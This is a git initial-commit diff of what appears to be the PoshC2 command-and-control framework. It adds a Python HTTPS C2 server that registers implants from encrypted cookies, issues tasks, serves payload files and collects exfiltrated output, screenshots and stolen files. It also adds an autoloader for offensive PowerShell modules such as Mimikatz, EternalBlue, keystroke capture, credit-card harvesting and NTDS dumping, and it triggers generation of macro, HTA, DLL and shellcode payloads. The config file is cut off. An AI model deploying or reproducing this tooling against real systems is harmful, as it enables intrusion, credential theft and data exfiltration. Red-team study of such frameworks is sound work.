Initial Commit
|
@ -0,0 +1,92 @@
|
|||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.pyc
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
env/
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*,cover
|
||||
.hypothesis/
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
local_settings.py
|
||||
|
||||
# Flask stuff:
|
||||
instance/
|
||||
.webassets-cache
|
||||
|
||||
# Scrapy stuff:
|
||||
.scrapy
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
|
||||
# IPython Notebook
|
||||
.ipynb_checkpoints
|
||||
|
||||
# pyenv
|
||||
.python-version
|
||||
|
||||
# celery beat schedule file
|
||||
celerybeat-schedule
|
||||
|
||||
# dotenv
|
||||
.env
|
||||
|
||||
# virtualenv
|
||||
venv/
|
||||
ENV/
|
||||
|
||||
# vim backup
|
||||
*.swp
|
||||
|
||||
# Spyder project settings
|
||||
.spyderproject
|
||||
|
||||
# Rope project settings
|
||||
.ropeproject
|
|
@ -0,0 +1,132 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
from DB import *
|
||||
from Config import *
|
||||
import os
|
||||
|
||||
def check_module_loaded( module_name, randomuri, force=False ):
|
||||
try:
|
||||
modules_loaded = select_mods(randomuri)
|
||||
if force:
|
||||
for modname in os.listdir("%s/Modules/" % POSHDIR):
|
||||
if modname.lower() in module_name.lower():
|
||||
module_name = modname
|
||||
file = open(("%sModules/%s" % (POSHDIR,module_name)), "r")
|
||||
module = file.read()
|
||||
new_task(("loadmodule %s" % module_name), randomuri)
|
||||
if modules_loaded:
|
||||
new_modules_loaded = "%s %s" % (modules_loaded, module_name)
|
||||
if module_name in modules_loaded:
|
||||
loaded = "YES"
|
||||
else:
|
||||
for modname in os.listdir("%s/Modules/" % POSHDIR):
|
||||
if modname.lower() in module_name.lower():
|
||||
module_name = modname
|
||||
file = open(("%sModules/%s" % (POSHDIR,module_name)), "r")
|
||||
module = file.read()
|
||||
new_task(("loadmodule %s" % module_name), randomuri)
|
||||
update_mods(new_modules_loaded, randomuri)
|
||||
else:
|
||||
new_modules_loaded = "%s" % (module_name)
|
||||
file = open(("%sModules/%s" % (POSHDIR,module_name)), "r")
|
||||
module = file.read()
|
||||
new_task(("loadmodule %s" % module_name), randomuri)
|
||||
update_mods(new_modules_loaded, randomuri)
|
||||
except Exception as e:
|
||||
print "Error loadmodule: %s" % e
|
||||
|
||||
def run_autoloads(command, randomuri):
|
||||
if "invoke-eternalblue" in command.lower(): check_module_loaded("Exploit-EternalBlue.ps1", randomuri)
|
||||
if "invoke-psuacme" in command.lower(): check_module_loaded("Invoke-PsUACme.ps1", randomuri)
|
||||
if "bloodhound" in command.lower(): check_module_loaded("BloodHound.ps1", randomuri)
|
||||
if "brute-ad" in command.lower(): check_module_loaded("Brute-AD.ps1", randomuri)
|
||||
if "brute-locadmin" in command.lower(): check_module_loaded("Brute-LocAdmin.ps1", randomuri)
|
||||
if "bypass-uac" in command.lower(): check_module_loaded("Bypass-UAC.ps1", randomuri)
|
||||
if "cred-popper" in command.lower(): check_module_loaded("Cred-Popper.ps1", randomuri)
|
||||
if "cve-2016-9192" in command.lower(): check_module_loaded("CVE-2016-9192.ps1", randomuri)
|
||||
if "convertto-shellcode" in command.lower(): check_module_loaded("ConvertTo-Shellcode.ps1", randomuri)
|
||||
if "decrypt-rdcman" in command.lower(): check_module_loaded("Decrypt-RDCMan.ps1", randomuri)
|
||||
if "dump-ntds" in command.lower(): check_module_loaded("Dump-NTDS.ps1", randomuri)
|
||||
if "get-computerinfo" in command.lower(): check_module_loaded("Get-ComputerInfo.ps1", randomuri)
|
||||
if "get-creditcarddata" in command.lower(): check_module_loaded("Get-CreditCardData.ps1", randomuri)
|
||||
if "get-gppautologon" in command.lower(): check_module_loaded("Get-GPPAutologon.ps1", randomuri)
|
||||
if "get-gpppassword" in command.lower(): check_module_loaded("Get-GPPPassword.ps1", randomuri)
|
||||
if "get-idletime" in command.lower(): check_module_loaded("Get-IdleTime.ps1", randomuri)
|
||||
if "get-keystrokes" in command.lower(): check_module_loaded("Get-Keystrokes.ps1", randomuri)
|
||||
if "get-locadm" in command.lower(): check_module_loaded("Get-LocAdm.ps1", randomuri)
|
||||
if "get-mshotfixes" in command.lower(): check_module_loaded("Get-MSHotFixes.ps1", randomuri)
|
||||
if "get-netstat" in command.lower(): check_module_loaded("Get-Netstat.ps1", randomuri)
|
||||
if "get-passnotexp" in command.lower(): check_module_loaded("Get-PassNotExp.ps1", randomuri)
|
||||
if "get-passpol" in command.lower(): check_module_loaded("Get-PassPol.ps1", randomuri)
|
||||
if "get-recentfiles" in command.lower(): check_module_loaded("Get-RecentFiles.ps1", randomuri)
|
||||
if "get-serviceperms" in command.lower(): check_module_loaded("Get-ServicePerms.ps1", randomuri)
|
||||
if "get-userinfo" in command.lower(): check_module_loaded("Get-UserInfo.ps1", randomuri)
|
||||
if "get-wlanpass" in command.lower(): check_module_loaded("Get-WLANPass.ps1", randomuri)
|
||||
if "invoke-pbind" in command.lower(): check_module_loaded("Invoke-Pbind.ps1", randomuri)
|
||||
if "get-domaingroupmember" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "invoke-kerberoast" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "invoke-userhunter" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "invoke-hostenum" in command.lower(): check_module_loaded("HostEnum.ps1", randomuri)
|
||||
if "inject-shellcode" in command.lower(): check_module_loaded("Inject-Shellcode.ps1", randomuri)
|
||||
if "inveigh-relay" in command.lower(): check_module_loaded("Inveigh-Relay.ps1", randomuri)
|
||||
if "inveigh" in command.lower(): check_module_loaded("Inveigh.ps1", randomuri)
|
||||
if "invoke-arpscan" in command.lower(): check_module_loaded("Invoke-Arpscan.ps1", randomuri)
|
||||
if "arpscan" in command.lower(): check_module_loaded("Invoke-Arpscan.ps1", randomuri)
|
||||
if "invoke-dcsync" in command.lower(): check_module_loaded("Invoke-DCSync.ps1", randomuri)
|
||||
if "invoke-eventvwrbypass" in command.lower(): check_module_loaded("Invoke-EventVwrBypass.ps1", randomuri)
|
||||
if "invoke-hostscan" in command.lower(): check_module_loaded("Invoke-Hostscan.ps1", randomuri)
|
||||
if "invoke-ms16-032-proxy" in command.lower(): check_module_loaded("Invoke-MS16-032-Proxy.ps1", randomuri)
|
||||
if "invoke-ms16-032" in command.lower(): check_module_loaded("Invoke-MS16-032.ps1", randomuri)
|
||||
if "invoke-mimikatz" in command.lower(): check_module_loaded("Invoke-Mimikatz.ps1", randomuri)
|
||||
if "invoke-psinject" in command.lower(): check_module_loaded("Invoke-PSInject.ps1", randomuri)
|
||||
if "invoke-pipekat" in command.lower(): check_module_loaded("Invoke-Pipekat.ps1", randomuri)
|
||||
if "invoke-portscan" in command.lower(): check_module_loaded("Invoke-Portscan.ps1", randomuri)
|
||||
if "invoke-powerdump" in command.lower(): check_module_loaded("Invoke-PowerDump.ps1", randomuri)
|
||||
if "invoke-psexec" in command.lower(): check_module_loaded("Invoke-SMBExec.ps1", randomuri)
|
||||
if "invoke-reflectivepeinjection" in command.lower(): check_module_loaded("Invoke-ReflectivePEInjection.ps1", randomuri)
|
||||
if "invoke-reversednslookup" in command.lower(): check_module_loaded("Invoke-ReverseDnsLookup.ps1", randomuri)
|
||||
if "invoke-runas" in command.lower(): check_module_loaded("Invoke-RunAs.ps1", randomuri)
|
||||
if "invoke-smblogin" in command.lower(): check_module_loaded("Invoke-SMBExec.ps1", randomuri)
|
||||
if "invoke-smbexec" in command.lower(): check_module_loaded("Invoke-SMBExec.ps1", randomuri)
|
||||
if "invoke-psexec" in command.lower(): check_module_loaded("Invoke-SMBExec.ps1", randomuri)
|
||||
if "invoke-shellcode" in command.lower(): check_module_loaded("Invoke-Shellcode.ps1", randomuri)
|
||||
if "invoke-sniffer" in command.lower(): check_module_loaded("Invoke-Sniffer.ps1", randomuri)
|
||||
if "invoke-sqlquery" in command.lower(): check_module_loaded("Invoke-SqlQuery.ps1", randomuri)
|
||||
if "invoke-tater" in command.lower(): check_module_loaded("Invoke-Tater.ps1", randomuri)
|
||||
if "invoke-thehash" in command.lower(): check_module_loaded("Invoke-TheHash.ps1", randomuri)
|
||||
if "invoke-tokenmanipulation" in command.lower(): check_module_loaded("Invoke-TokenManipulation.ps1", randomuri)
|
||||
if "invoke-wmichecker" in command.lower(): check_module_loaded("Invoke-WMIChecker.ps1", randomuri)
|
||||
if "invoke-wmicommand" in command.lower(): check_module_loaded("Invoke-WMICommand.ps1", randomuri)
|
||||
if "invoke-wmi" in command.lower(): check_module_loaded("Invoke-WMIExec.ps1", randomuri)
|
||||
if "invoke-wscriptbypassuac" in command.lower(): check_module_loaded("Invoke-WScriptBypassUAC.ps1", randomuri)
|
||||
if "invoke-winrmsession" in command.lower(): check_module_loaded("Invoke-WinRMSession.ps1", randomuri)
|
||||
if "out-minidump" in command.lower(): check_module_loaded("Out-Minidump.ps1", randomuri)
|
||||
if "portscan" in command.lower(): check_module_loaded("PortScanner.ps1", randomuri)
|
||||
if "powercat" in command.lower(): check_module_loaded("powercat.ps1", randomuri)
|
||||
if "invoke-allchecks" in command.lower(): check_module_loaded("PowerUp.ps1", randomuri)
|
||||
if "set-lhstokenprivilege" in command.lower(): check_module_loaded("Set-LHSTokenPrivilege.ps1", randomuri)
|
||||
if "sharpsocks" in command.lower(): check_module_loaded("SharpSocks.ps1", randomuri)
|
||||
if "find-allvulns" in command.lower(): check_module_loaded("Sherlock.ps1", randomuri)
|
||||
if "test-adcredential" in command.lower(): check_module_loaded("Test-ADCredential.ps1", randomuri)
|
||||
if "new-zipfile" in command.lower(): check_module_loaded("Zippy.ps1", randomuri)
|
||||
if "get-netuser" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "invoke-aclscanner" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-objectacl" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "add-objectacl" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-netuser" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-domainuser" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-netcomputer" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-domaincomputer" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-netuser" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-netgroup" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-netgroupmember" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-netshare" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "invoke-sharefinder" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-netdomain" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-netdomaincontroller" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-netforest" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-netforestdomain" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "invoke-mapdomaintrust" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-wmireglastloggedon" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-wmiregcachedrdpconnection" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
||||
if "get-wmiregmounteddrive" in command.lower(): check_module_loaded("powerview.ps1", randomuri)
|
|
@ -0,0 +1,299 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
import argparse, os, sys, re, datetime, time, base64, BaseHTTPServer, re, logging, ssl, signal
|
||||
|
||||
from Implant import *
|
||||
from Tasks import *
|
||||
from Core import *
|
||||
from Colours import *
|
||||
from Help import *
|
||||
from DB import *
|
||||
from Payloads import *
|
||||
from Config import *
|
||||
from Cert import *
|
||||
|
||||
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
|
||||
def signal_handler(signal, frame):
|
||||
sys.exit(0)
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
|
||||
def log_message(self, format, *args):
|
||||
try:
|
||||
useragent = str(self.headers['user-agent'])
|
||||
except Exception as e:
|
||||
useragent = "None"
|
||||
|
||||
open("%swebserver.log" % ROOTDIR, "a").write("%s - [%s] %s %s\n" %
|
||||
(self.address_string(),self.log_date_time_string(),format%args, useragent))
|
||||
|
||||
|
||||
def do_HEAD(s):
|
||||
"""Respond to a HEAD request."""
|
||||
s.server_version = ServerHeader
|
||||
s.sys_version = ""
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
|
||||
def do_GET(s):
|
||||
"""Respond to a GET request."""
|
||||
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(s.path), str(s.headers))
|
||||
new_implant_url = get_newimplanturl()
|
||||
s.cookieHeader = s.headers.get('Cookie')
|
||||
QuickCommandURI = select_item("QuickCommand", "C2Server")
|
||||
s.server_version = ServerHeader
|
||||
s.sys_version = ""
|
||||
if s.cookieHeader:
|
||||
r = ""
|
||||
else:
|
||||
s.cookieHeader = "NONE"
|
||||
# class Tasks()
|
||||
|
||||
# implant gets a new task
|
||||
new_task = newTask(s.path)
|
||||
|
||||
if new_task:
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
s.wfile.write(new_task)
|
||||
|
||||
elif ("%s_bs" % QuickCommandURI) in s.path:
|
||||
filename = "%spayload.bat" % (PayloadsDirectory)
|
||||
with open(filename, 'rb') as f:
|
||||
content = f.read()
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
s.wfile.write(content)
|
||||
|
||||
elif ("%s_rg" % QuickCommandURI) in s.path:
|
||||
filename = "%srg_sct.xml" % (PayloadsDirectory)
|
||||
with open(filename, 'rb') as f:
|
||||
content = f.read()
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
s.wfile.write(content)
|
||||
|
||||
elif ("%s_cs" % QuickCommandURI) in s.path:
|
||||
filename = "%scs_sct.xml" % (PayloadsDirectory)
|
||||
with open(filename, 'rb') as f:
|
||||
content = f.read()
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
s.wfile.write(content)
|
||||
|
||||
elif ("%s_ex" % QuickCommandURI) in s.path:
|
||||
filename = "%sPosh32.exe" % (PayloadsDirectory)
|
||||
with open(filename, 'rb') as f:
|
||||
content = f.read()
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "application/x-msdownload")
|
||||
s.end_headers()
|
||||
s.wfile.write(content)
|
||||
# class Implant()
|
||||
# register new implant
|
||||
elif new_implant_url in s.path and s.cookieHeader.startswith("SessionID"):
|
||||
implant_type = "Normal"
|
||||
if s.path == ("%s?p" % new_implant_url):
|
||||
implant_type = "Proxy"
|
||||
if s.path == ("%s?d" % new_implant_url):
|
||||
implant_type = "Daisy"
|
||||
if s.path == ("%s?m" % new_implant_url):
|
||||
implant_type = "OSX"
|
||||
|
||||
if implant_type == "OSX":
|
||||
cookieVal = (s.cookieHeader).replace("SessionID=","")
|
||||
decCookie = cookieVal
|
||||
#decCookie = decrypt(KEY, cookieVal)
|
||||
IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
|
||||
Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";")
|
||||
newImplant = Implant(IPAddress, implant_type, Domain, User, Hostname, Arch, PID, Proxy)
|
||||
newImplant.save()
|
||||
newImplant.display()
|
||||
responseVal = encrypt(KEY, newImplant.PythonCore)
|
||||
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
s.wfile.write(responseVal)
|
||||
else:
|
||||
try:
|
||||
cookieVal = (s.cookieHeader).replace("SessionID=","")
|
||||
decCookie = decrypt(KEY, cookieVal)
|
||||
Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";")
|
||||
IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
|
||||
newImplant = Implant(IPAddress, implant_type, Domain,User, Hostname, Arch, PID, Proxy)
|
||||
newImplant.save()
|
||||
newImplant.display()
|
||||
newImplant.autoruns()
|
||||
responseVal = encrypt(KEY, newImplant.C2Core)
|
||||
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
s.wfile.write(responseVal)
|
||||
except Exception as e:
|
||||
print "Decryption error: %s" % e
|
||||
s.send_response(404)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
s.wfile.write(HTTPResponse)
|
||||
else:
|
||||
s.send_response(404)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
HTTPResponsePage = select_item("HTTPResponse", "C2Server")
|
||||
if HTTPResponsePage:
|
||||
s.wfile.write(HTTPResponsePage)
|
||||
else:
|
||||
s.wfile.write(HTTPResponse)
|
||||
|
||||
def do_POST(s):
|
||||
"""Respond to a POST request."""
|
||||
try:
|
||||
s.server_version = ServerHeader
|
||||
s.sys_version = ""
|
||||
content_length = int(s.headers['Content-Length'])
|
||||
s.cookieHeader = s.headers.get('Cookie')
|
||||
cookieVal = (s.cookieHeader).replace("SessionID=","")
|
||||
post_data = s.rfile.read(content_length)
|
||||
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(s.path), str(s.headers), post_data)
|
||||
|
||||
now = datetime.datetime.now()
|
||||
result = get_implants_all()
|
||||
for i in result:
|
||||
implantID = i[0]
|
||||
RandomURI = i[1]
|
||||
Hostname = i[3]
|
||||
encKey = i[5]
|
||||
Domain = i[11]
|
||||
if RandomURI in s.path and cookieVal:
|
||||
decCookie = decrypt(encKey, cookieVal)
|
||||
print Colours.GREEN
|
||||
print "Command returned against implant %s on host %s %s (%s)" % (implantID,Hostname,Domain,now.strftime("%m/%d/%Y %H:%M:%S"))
|
||||
#print decCookie,Colours.END
|
||||
rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
|
||||
outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput)
|
||||
outputParsed = outputParsed.rstrip()
|
||||
|
||||
if "ModuleLoaded" in decCookie:
|
||||
print "Module loaded sucessfully"
|
||||
insert_completedtask(RandomURI, decCookie, "Module loaded sucessfully", "")
|
||||
if "get-screenshot" in decCookie.lower():
|
||||
try:
|
||||
decoded = base64.b64decode(outputParsed)
|
||||
filename = i[3] + "-" + now.strftime("%m%d%Y%H%M%S_"+randomuri())
|
||||
output_file = open('%s%s.png' % (DownloadsDirectory,filename), 'wb')
|
||||
print "Screenshot captured: %s%s.png" % (DownloadsDirectory,filename)
|
||||
insert_completedtask(RandomURI, decCookie, "Screenshot captured: %s%s.png" % (DownloadsDirectory,filename), "")
|
||||
output_file.write(decoded)
|
||||
output_file.close()
|
||||
except Exception as e:
|
||||
insert_completedtask(RandomURI, decCookie, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!", "")
|
||||
print "Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
|
||||
elif (decCookie.lower().startswith("$shellcode64")) or (decCookie.lower().startswith("$shellcode64")):
|
||||
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
|
||||
print "Upload shellcode complete"
|
||||
elif "download-file" in decCookie.lower():
|
||||
try:
|
||||
rawoutput = decrypt_bytes_gzip(encKey, (post_data[1500:]))
|
||||
filename = decCookie.lower().replace("download-file ","")
|
||||
filename = filename.replace("..","")
|
||||
filename = filename.rsplit('\\', 1)[-1]
|
||||
filename = filename.rstrip('\x00')
|
||||
chunkNumber = rawoutput[:5]
|
||||
totalChunks = rawoutput[6:10]
|
||||
print "Download file part %s of %s : %s" % (chunkNumber,totalChunks,filename)
|
||||
insert_completedtask(RandomURI, decCookie, "Download file part %s of %s : %s" % (chunkNumber,totalChunks,filename), "")
|
||||
output_file = open('%s/downloads/%s' % (ROOTDIR,filename), 'a')
|
||||
output_file.write(rawoutput[10:])
|
||||
output_file.close()
|
||||
except Exception as e:
|
||||
insert_completedtask(RandomURI, decCookie, "Error downloading file %s " % e, "")
|
||||
print "Error downloading file %s " % e
|
||||
|
||||
else:
|
||||
insert_completedtask(RandomURI, decCookie, outputParsed, "")
|
||||
print Colours.GREEN
|
||||
print outputParsed,Colours.END
|
||||
except Exception as e:
|
||||
e = ""
|
||||
finally:
|
||||
s.send_response(200)
|
||||
s.send_header("Content-type", "text/html")
|
||||
s.end_headers()
|
||||
s.wfile.write(default_response())
|
||||
|
||||
if __name__ == '__main__':
|
||||
server_class = BaseHTTPServer.HTTPServer
|
||||
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
|
||||
try:
|
||||
if os.name == 'nt':
|
||||
os.system('cls')
|
||||
else:
|
||||
os.system('clear')
|
||||
except Exception as e:
|
||||
print "cls"
|
||||
print chr(27) + "[2J"
|
||||
print Colours.GREEN, logo
|
||||
print Colours.END,""
|
||||
|
||||
|
||||
# KeyFile = None, CertFile = None, ClientCertCAs = None
|
||||
if os.path.isfile(DB):
|
||||
print "Using existing database / project",Colours.GREEN
|
||||
else:
|
||||
print "Initializing new project folder and database",Colours.GREEN
|
||||
print ""
|
||||
directory = os.path.dirname(ROOTDIR)
|
||||
if not os.path.exists(directory):
|
||||
os.makedirs(directory)
|
||||
os.makedirs("%s/downloads" % directory)
|
||||
os.makedirs("%s/reports" % directory)
|
||||
os.makedirs("%s/payloads" % directory)
|
||||
initializedb()
|
||||
setupserver(HostnameIP,gen_key(),DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,ROOTDIR,ServerPort,QuickCommand,DownloadURI,"","","",Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer)
|
||||
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
|
||||
C2[13], C2[11], "", "", C2[19], C2[20],
|
||||
C2[21], get_newimplanturl(), PayloadsDirectory)
|
||||
|
||||
newPayload.CreateRaw()
|
||||
newPayload.CreateDlls()
|
||||
newPayload.CreateShellcode()
|
||||
newPayload.CreateSCT()
|
||||
newPayload.CreateHTA()
|
||||
newPayload.CreateCS()
|
||||
newPayload.CreateMacro()
|
||||
newPayload.CreateEXE()
|
||||
|
||||
create_self_signed_cert(ROOTDIR)
|
||||
newPayload.CreatePython()
|
||||
newPayload.WriteQuickstart( directory + '/quickstart.txt' )
|
||||
|
||||
print ""
|
||||
print "CONNECT URL: "+select_item("HostnameIP", "C2Server")+get_newimplanturl(),Colours.GREEN
|
||||
print "WEBSERVER Log: %swebserver.log" % ROOTDIR
|
||||
KEY = get_baseenckey()
|
||||
print ""
|
||||
print time.asctime(), "PoshC2 Server Started - %s:%s" % (HOST_NAME, PORT_NUMBER)
|
||||
print Colours.END
|
||||
|
||||
if (os.path.isfile("%sposh.crt" % ROOTDIR)) and (os.path.isfile("%sposh.key" % ROOTDIR)):
|
||||
httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True)
|
||||
else:
|
||||
raise ValueError("Cannot find the certificate files")
|
||||
#logging.basicConfig(level=logging.WARNING) # DEBUG,INFO,WARNING,ERROR,CRITICAL
|
||||
|
||||
try:
|
||||
httpd.serve_forever()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
httpd.server_close()
|
||||
print time.asctime(), "PoshC2 Server Stopped - %s:%s" % (HOST_NAME, PORT_NUMBER)
|
|
@ -0,0 +1,87 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
from Colours import *
|
||||
from Config import *
|
||||
from DB import *
|
||||
import time, os
|
||||
|
||||
rows = 10
|
||||
taskid = 0
|
||||
|
||||
try:
|
||||
if os.name == 'nt':
|
||||
os.system('cls')
|
||||
else:
|
||||
os.system('clear')
|
||||
except Exception as e:
|
||||
print "cls"
|
||||
print chr(27) + "[2J"
|
||||
print Colours.GREEN,""
|
||||
print logo, Colours.END
|
||||
|
||||
try:
|
||||
taskid = get_seqcount("CompletedTasks") + 1
|
||||
except Exception as e:
|
||||
user = "None"
|
||||
taskid = 1
|
||||
|
||||
try:
|
||||
newtaskid = get_seqcount("NewTasks") + 1
|
||||
except Exception as e:
|
||||
user = "None"
|
||||
newtaskid = 1
|
||||
|
||||
try:
|
||||
implantid = get_seqcount("Implants") + 1
|
||||
except Exception as e:
|
||||
user = "None"
|
||||
implantid = 1
|
||||
|
||||
while(1):
|
||||
try:
|
||||
newtask = get_newtasksbyid(newtaskid)
|
||||
hostinfo = get_hostinfo(newtask[1])
|
||||
now = datetime.datetime.now()
|
||||
command = newtask[2]
|
||||
print Colours.YELLOW
|
||||
print "Command issued against implant %s on host %s %s (%s)" % (hostinfo[0],hostinfo[3],hostinfo[11],now.strftime("%m/%d/%Y %H:%M:%S"))
|
||||
|
||||
if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode64")) :
|
||||
print "Loading Shellcode",Colours.END
|
||||
elif (command.lower().startswith("$shellcode86")) or (command.lower().startswith("$shellcode86")) :
|
||||
print "Loading Shellcode",Colours.END
|
||||
elif "upload-file" in command.lower():
|
||||
print "Uploading File",Colours.END
|
||||
else:
|
||||
print command,Colours.END
|
||||
|
||||
newtaskid = newtaskid + 1
|
||||
except Exception as e:
|
||||
user = "None"
|
||||
|
||||
try:
|
||||
completedtask = get_completedtasksbyid(taskid)
|
||||
hostinfo = get_hostinfo(completedtask[2])
|
||||
now = datetime.datetime.now()
|
||||
if hostinfo:
|
||||
print Colours.GREEN
|
||||
print "Command returned against implant %s on host %s %s (%s)" % (hostinfo[0],hostinfo[3],hostinfo[11],now.strftime("%m/%d/%Y %H:%M:%S"))
|
||||
print completedtask[4],Colours.END
|
||||
taskid = taskid + 1
|
||||
except Exception as e:
|
||||
user = "None"
|
||||
|
||||
try:
|
||||
implant = get_implantbyid(implantid)
|
||||
if implant:
|
||||
print Colours.GREEN
|
||||
print "New %s implant connected: (uri=%s key=%s)" % (implant[15], implant[1], implant[5])
|
||||
print "%s | URL:%s | Time:%s | PID:%s | Sleep:%s | %s (%s) " % (implant[4], implant[9], implant[6],
|
||||
implant[8], implant[13], implant[11], implant[10])
|
||||
print Colours.END
|
||||
implantid = implantid + 1
|
||||
except Exception as e:
|
||||
user = "None"
|
||||
|
||||
time.sleep(1)
|
||||
|
|
@ -0,0 +1,41 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
from OpenSSL import crypto, SSL
|
||||
from socket import gethostname
|
||||
from pprint import pprint
|
||||
from time import gmtime, mktime
|
||||
from os.path import exists, join
|
||||
|
||||
CERT_FILE = "posh.crt"
|
||||
KEY_FILE = "posh.key"
|
||||
|
||||
def create_self_signed_cert(cert_dir):
|
||||
"""
|
||||
If datacard.crt and datacard.key don't exist in cert_dir, create a new
|
||||
self-signed cert and keypair and write them into that directory.
|
||||
|
||||
easy_install pyopenssl
|
||||
"""
|
||||
|
||||
if not exists(join(cert_dir, CERT_FILE)) or not exists(join(cert_dir, KEY_FILE)):
|
||||
|
||||
# create a key pair
|
||||
k = crypto.PKey()
|
||||
k.generate_key(crypto.TYPE_RSA, 2048)
|
||||
# create a self-signed cert
|
||||
cert = crypto.X509()
|
||||
cert.get_subject().C = "US"
|
||||
cert.get_subject().ST = "Minnesota"
|
||||
cert.get_subject().L = "Minnetonka"
|
||||
cert.get_subject().O = "Pajfds"
|
||||
cert.get_subject().OU = "Jethpro"
|
||||
cert.get_subject().CN = "P18055077"
|
||||
cert.set_serial_number(1000)
|
||||
cert.gmtime_adj_notBefore(0)
|
||||
cert.gmtime_adj_notAfter(10*365*24*60*60)
|
||||
cert.set_issuer(cert.get_subject())
|
||||
cert.set_pubkey(k)
|
||||
cert.sign(k, 'sha1')
|
||||
|
||||
open(join(cert_dir, CERT_FILE), "wt").write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
|
||||
open(join(cert_dir, KEY_FILE), "wt").write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k))
|
|
@ -0,0 +1,8 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
class Colours:
|
||||
BLUE = '\033[94m'
|
||||
GREEN = '\033[92m'
|
||||
RED = '\033[91m'
|
||||
END = '\033[0m'
|
||||
YELLOW = '\033[93m'
|
|
@ -0,0 +1,109 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
HOST_NAME = '0.0.0.0'
|
||||
